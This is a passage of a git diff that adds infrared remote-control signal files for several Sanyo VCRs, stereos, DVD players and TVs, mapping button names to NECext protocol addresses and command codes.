KEY_KPPLUS +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 01 00 00 00 +# +name: KEY_KPMINUS +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 02 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 04 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 05 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 06 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 07 00 00 00 +# +name: tv/vcr +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 08 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 0C 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 0D 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 0E 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 0F 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 10 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 11 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 12 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 13 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 14 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 15 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 1C 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 1D 00 00 00 +# +name: ATR +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 1F 00 00 00 +# +name: memory +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 43 00 00 00 +# +name: RESET +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 44 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 4B 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 4C 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 5B 00 00 00 +# +name: ShowView +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 8C 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 94 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 95 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 96 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 97 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 31 00 00 00 +command: CA 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_B01007/49,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_B01007/49,-1.ir new file mode 100644 index 000000000..e034f8ac1 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_B01007/49,-1.ir @@ -0,0 +1,200 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_KPPLUS +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 01 00 00 00 +# +name: KEY_KPMINUS +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 02 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 04 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 05 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 06 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 07 00 00 00 +# +name: TV/VCR +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 08 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 0C 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 0D 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 0E 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 0F 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 10 00 00 00 +# +name: PAUSE/STILL +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 11 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 12 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 13 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 14 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 15 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 1A 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 1C 00 00 00 +# +name: KEY_0/AV +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 1D 00 00 00 +# +name: ATR +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 1F 00 00 00 +# +name: MEMORY +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 43 00 00 00 +# +name: RESET +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 44 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 4B 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 4C 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 5B 00 00 00 +# +name: SP/LP +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 5E 00 00 00 +# +name: SHOW_VIEW +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 8C 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 94 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 95 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 96 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 97 00 00 00 +# +name: MENU/TV +type: parsed +protocol: NECext +address: 31 00 00 00 +command: CA 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_B12628/49,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_B12628/49,-1.ir new file mode 100644 index 000000000..f0e672407 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_B12628/49,-1.ir @@ -0,0 +1,182 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_KPPLUS +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 01 00 00 00 +# +name: KEY_KPMINUS +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 02 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 04 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 05 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 06 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 07 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 0C 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 0D 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 0E 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 0F 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 10 00 00 00 +# +name: STILL +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 11 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 12 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 13 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 14 00 00 00 +# +name: RE +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 15 00 00 00 +# +name: INDEX +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 19 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 1C 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 1D 00 00 00 +# +name: INPUT +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 1E 00 00 00 +# +name: MEM +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 43 00 00 00 +# +name: RESET +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 44 00 00 00 +# +name: TYPE +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 46 00 00 00 +# +name: CLR +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 4A 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 4B 00 00 00 +# +name: VPS +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 4F 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 5B 00 00 00 +# +name: SHOWVIEW +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 8C 00 00 00 +# +name: PRESET +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 9E 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 31 00 00 00 +command: CA 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_B13540/49,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_B13540/49,-1.ir new file mode 100644 index 000000000..a58dfe03d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_B13540/49,-1.ir @@ -0,0 +1,206 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 01 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 02 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 03 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 04 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 05 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 06 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 07 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 0C 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 0D 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 0E 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 0F 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 10 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 11 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 12 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 13 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 14 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 15 00 00 00 +# +name: index +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 19 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 1A 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 1C 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 1D 00 00 00 +# +name: input +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 1E 00 00 00 +# +name: memory +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 43 00 00 00 +# +name: reset +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 44 00 00 00 +# +name: prog +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 46 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 4A 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 4B 00 00 00 +# +name: vps +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 4F 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 56 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 5B 00 00 00 +# +name: sp/lp +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 5E 00 00 00 +# +name: showview +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 8C 00 00 00 +# +name: preset +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 9E 00 00 00 +# +name: menu/tv +type: parsed +protocol: NECext +address: 31 00 00 00 +command: CA 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_RB-DA300/60,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_RB-DA300/60,-1.ir new file mode 100644 index 000000000..9cddee1b2 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_RB-DA300/60,-1.ir @@ -0,0 +1,200 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 01 00 00 00 +# +name: stop_cd +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 04 00 00 00 +# +name: memory +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 05 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 06 00 00 00 +# +name: tune+ +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 07 00 00 00 +# +name: tune- +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 08 00 00 00 +# +name: random +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 0A 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 1F 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 40 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 41 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 42 00 00 00 +# +name: sound_preset +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 44 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 46 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 48 00 00 00 +# +name: fm_mode +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 4B 00 00 00 +# +name: preset +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 4D 00 00 00 +# +name: tuner-band +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 4E 00 00 00 +# +name: stop_tape +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 51 00 00 00 +# +name: stop_recording +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 52 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 54 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 55 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 56 00 00 00 +# +name: start_recording +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 57 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 80 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 81 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 82 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 83 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 84 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 85 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 86 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 87 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 88 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 3C 00 00 00 +command: 89 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_RB-SL22/60,196.ir b/assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_RB-SL22/60,196.ir new file mode 100644 index 000000000..76bfea652 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_RB-SL22/60,196.ir @@ -0,0 +1,266 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 3C C4 00 00 +command: 00 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 3C C4 00 00 +command: 01 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 3C C4 00 00 +command: 02 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 3C C4 00 00 +command: 03 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 3C C4 00 00 +command: 05 00 00 00 +# +name: TopMenu +type: parsed +protocol: NECext +address: 3C C4 00 00 +command: 06 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 3C C4 00 00 +command: 07 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 3C C4 00 00 +command: 08 00 00 00 +# +name: AngleReplay +type: parsed +protocol: NECext +address: 3C C4 00 00 +command: 09 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 3C C4 00 00 +command: 0A 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 3C C4 00 00 +command: 0B 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 3C C4 00 00 +command: 0C 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 3C C4 00 00 +command: 0D 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 3C C4 00 00 +command: 0E 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 3C C4 00 00 +command: 0F 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 3C C4 00 00 +command: 10 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 3C C4 00 00 +command: 11 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 3C C4 00 00 +command: 12 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 3C C4 00 00 +command: 13 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 3C C4 00 00 +command: 14 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 3C C4 00 00 +command: 15 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 3C C4 00 00 +command: 16 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 3C C4 00 00 +command: 17 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 3C C4 00 00 +command: 18 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 3C C4 00 00 +command: 19 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 3C C4 00 00 +command: 1A 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 3C C4 00 00 +command: 1C 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 3C C4 00 00 +command: 1E 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 3C C4 00 00 +command: 1F 00 00 00 +# +name: PauseStep +type: parsed +protocol: NECext +address: 3C C4 00 00 +command: 20 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 3C C4 00 00 +command: 21 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 3C C4 00 00 +command: 22 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 3C C4 00 00 +command: 23 00 00 00 +# +name: Rev +type: parsed +protocol: NECext +address: 3C C4 00 00 +command: 26 00 00 00 +# +name: FwdSlow +type: parsed +protocol: NECext +address: 3C C4 00 00 +command: 29 00 00 00 +# +name: RevSlow +type: parsed +protocol: NECext +address: 3C C4 00 00 +command: 2C 00 00 00 +# +name: LastMemo +type: parsed +protocol: NECext +address: 3C C4 00 00 +command: 2F 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 3C C4 00 00 +command: 35 00 00 00 +# +name: ABRepeat +type: parsed +protocol: NECext +address: 3C C4 00 00 +command: 36 00 00 00 +# +name: SearchMode +type: parsed +protocol: NECext +address: 3C C4 00 00 +command: 38 00 00 00 +# +name: ProgramRandom +type: parsed +protocol: NECext +address: 3C C4 00 00 +command: 39 00 00 00 +# +name: PictureMode +type: parsed +protocol: NECext +address: 3C C4 00 00 +command: 3A 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 3C C4 00 00 +command: 3B 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 3C C4 00 00 +command: 4A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_RC-105C/54,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_RC-105C/54,-1.ir new file mode 100644 index 000000000..7a365bfce --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_RC-105C/54,-1.ir @@ -0,0 +1,200 @@ +Filetype: IR signals file +Version: 1 +# +name: Ch_Up +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 01 00 00 00 +# +name: Ch_Down +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 02 00 00 00 +# +name: Vol+ +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 03 00 00 00 +# +name: Vol- +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 04 00 00 00 +# +name: I-II_left +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 08 00 00 00 +# +name: I-II_right +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 08 00 00 00 +# +name: Mute +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 09 00 00 00 +# +name: A/CH +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 0A 00 00 00 +# +name: Off/Timer +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 0C 00 00 00 +# +name: Video +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 0D 00 00 00 +# +name: Power +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 0E 00 00 00 +# +name: Display_Set_Clock +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 0F 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 10 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 11 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 12 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 13 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 14 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 15 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 16 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 17 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 18 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 19 00 00 00 +# +name: 10+ +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 1A 00 00 00 +# +name: 20+ +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 1B 00 00 00 +# +name: 30+ +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 1C 00 00 00 +# +name: 40+ +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 1D 00 00 00 +# +name: On/Timer +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 34 00 00 00 +# +name: Hour +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 35 00 00 00 +# +name: Min +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 36 00 00 00 +# +name: Up_Arrow +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 58 00 00 00 +# +name: Right_Arrow +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 59 00 00 00 +# +name: Left_Arrow +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 5A 00 00 00 +# +name: Down_Arrow +type: parsed +protocol: NECext +address: 36 00 00 00 +command: 9C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_RC700/56,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_RC700/56,-1.ir new file mode 100644 index 000000000..573696416 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_RC700/56,-1.ir @@ -0,0 +1,194 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 00 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 02 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 03 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 04 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 06 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 07 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 08 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 09 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 0A 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 0B 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 0C 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 0D 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 0E 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 0F 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 10 00 00 00 +# +name: Normal +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 11 00 00 00 +# +name: FineTune+ +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 12 00 00 00 +# +name: FineTune- +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 13 00 00 00 +# +name: TV/Video +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 14 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 15 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 16 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 17 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 18 00 00 00 +# +name: Timer +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 19 00 00 00 +# +name: Colour+ +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 1A 00 00 00 +# +name: Colour- +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 1B 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 1C 00 00 00 +# +name: Alt +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 1D 00 00 00 +# +name: Bright+ +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 1E 00 00 00 +# +name: Bright- +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_Sanyo-B13509/49,-1.ir 